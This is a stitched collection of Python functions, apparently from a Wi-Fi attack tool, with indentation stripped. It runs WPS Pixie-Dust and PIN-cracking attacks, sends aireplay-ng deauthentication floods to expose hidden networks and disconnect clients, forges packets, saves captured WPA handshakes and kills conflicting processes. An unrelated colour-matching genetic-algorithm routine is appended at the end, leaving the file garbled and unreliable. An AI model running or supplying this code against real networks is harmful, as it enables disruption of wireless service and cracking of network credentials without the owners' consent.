# Loads airodump with interface/channel/etc from Configuration
with Airodump() as airodump:
try:
# Loop until interrupted (Ctrl+C)
while True:
if airodump.pid.poll() != None:
# Airodump process died!
raise Exception(
"Airodump exited unexpectedly! " +
"Command ran: %s"
% ' '.join(airodump.pid.command))
self.targets = airodump.get_targets()
if self.found_target():
# We found the target we want
return
self.print_targets()
target_count = len(self.targets)
client_count = sum(
[len(t.clients)
for t in self.targets])
Color.p(
'\r{+} scanning, found' +
' {G}%d{W} target(s),' % target_count +
' {G}%d{W} clients.' % client_count +
' {O}Ctrl+C{W} when ready')
sleep(1)
except KeyboardInterrupt:
pass
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
bully = Bully(self.target, pixie=True)
if bully.crack_result is not None:
# Pixie-Dust attack succeeded. We're done.
self.crack_result = bully.crack_result
elif Configuration.pixie_only:
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
else:
# Run WPS-PIN attack
bully = Bully(self.target, pixie=False)
self.crack_result = bully.crack_result
return self.crack_result is not None
def deauth_hidden_targets(self):
'''
Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names).
'''
self.decloaking = False
# Do not deauth if requested
if Configuration.no_deauth: return
# Do not deauth if channel is not fixed.
if self.channel is None: return
# Reusable deauth command
deauth_cmd = [
'aireplay-ng',
'-0', # Deauthentication
str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from Color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
def save_handshake(self, handshake):
"""
Saves a copy of the handshake file to hs/
Args:
handshake - Instance of Handshake containing bssid, essid, capfile
"""
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub("[^a-zA-Z0-9]", "", handshake.essid)
bssid_safe = handshake.bssid.replace(":", "-")
date = time.strftime("%Y-%m-%dT%H-%M-%S")
cap_filename = "handshake_%s_%s_%s.cap" % (essid_safe, bssid_safe, date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
Color.p("{+} saving copy of {C}handshake{W} to {C}%s{W} " % cap_filename)
copy(handshake.capfile, cap_filename)
Color.pl("{G}saved{W}")
# Update handshake to use the stored handshake file for future operations
handshake.capfile = cap_filename
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
def deauth(self, target_bssid, station_bssid=None):
'''
Sends deauthentication request.
Args:
target_bssid - AP BSSID to deauth
station_bssid - Client BSSID to deauth
Deauths 'broadcast' if no client is specified.
'''
# TODO: Print that we are deauthing and who we are deauthing!
target_name = station_bssid
if target_name == None:
target_name = 'broadcast'
command = [
'aireplay-ng',
'--ignore-negative-one',
'-0', # Deauthentication
'-a', self.target.bssid
]
if station_bssid:
# Deauthing a specific client
command.extend(['-h', station_bssid])
command.append(Configuration.interface)
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
return Process(command)
def terminate_conflicting_processes():
''' Deletes conflicting processes reported by airmon-ng '''
'''
% airmon-ng check
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2272 dhclient
2293 NetworkManager
3302 wpa_supplicant
'''
out = Process(['airmon-ng', 'check']).stdout()
if 'processes that could cause trouble' not in out:
# No proceses to kill
return
hit_pids = False
for line in out.split('\n'):
if re.search('^ *PID', line):
hit_pids = True
continue
if not hit_pids: continue
if line.strip() == '': continue
match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
if match:
# Found process to kill
pid = match.groups()[0]
pname = match.groups()[1]
Color.pl('{!} {R}terminating {O}conflicting process' +
' {R}%s{O} ({R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None):
''' Starts executing command '''
if type(command) == str:
# Commands have to be a list
command = command.split(' ')
self.command = command
if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command))
self.out = None
self.err = None
if devnull:
sout = Process.devnull()
serr = Process.devnull()
else:
sout = stdout
serr = stderr
self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd)
def divine_bssid_and_essid(self):
'''
Tries to find BSSID and ESSID from cap file.
Sets this instances 'bssid' and 'essid' instance fields.
'''
# Get list of bssid/essid pairs from cap file
pairs = self.tshark_bssid_essid_pairs()
if len(pairs) == 0:
# Find bssid/essid pairs that have handshakes in Pyrit
pairs = self.pyrit_handshakes()
if len(pairs) == 0 and not self.bssid and not self.essid:
# Tshark and Pyrit failed us, nothing else we can do.
raise Exception("Cannot find BSSID or ESSID in cap file")
if not self.essid and not self.bssid:
# We do not know the bssid nor the essid
Color.pl('{!} {O}Warning{W}:' +
' {R}bssid{O} and {R}essid{O} were not specified{W}')
# TODO: Display menu for user to select from list
# HACK: Just use the first one we see
self.bssid = pairs[0][0]
self.essid = pairs[0][1]
Color.pl('{!} {O}Warning{W}:' +
' {O}Arbitrarily selected' +
' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}'
% (self.bssid, self.essid))
elif not self.bssid:
# We already know essid
for (bssid, essid) in pairs:
if self.essid == essid:
Color.pl('{+} Discovered bssid {C}%s{W}' % bssid)
self.bssid = bssid
break
elif not self.essid:
# We already know bssid
for (bssid, essid) in pairs:
if self.bssid.lower() == bssid.lower():
Color.pl('{+} Discovered essid "{C}%s{W}"' % essid)
self.essid = essid
break
def main():
print('\033c', end='')
ref = Color.from_rgb(args.color) if args.color else RandomColor()
algo = Algo(args.population_size)
n = 0
ok = None
start = datetime.now()
while True:
n += 1
deltas = []
for color in algo.population:
delta = ref.delta_e(color)
deltas.append(delta)
if delta <= args.fitness:
if ok is None or ok[1] > delta:
ok = (color, delta)
dump(ref, algo, deltas)
if ok:
break
if n == args.iterations:
print('\033[1;31mFailed after {} iterations\033[0;0m'.format(n))
exit(1)
algo.tick(deltas)
if args.delay:
sleep(args.delay)
stop = datetime.now()
duration = (stop - start).total_seconds()
color, delta = ok
print('Color to find : {} {}'.format(ref, ref.rgb))
print('Color found : {} {} (\u0394E = {:.3f})'.format(color,
color.rgb,
delta))
print('Algorithm : {}'.format(algo.__class__.__name__))
print('Iterations : {}'.format(n))
print('Population size : {}'.format(args.population_size))
print('Colors tested : {}'.format(n * args.population_size))
print('All that in : {:.3f} seconds'.format(duration))
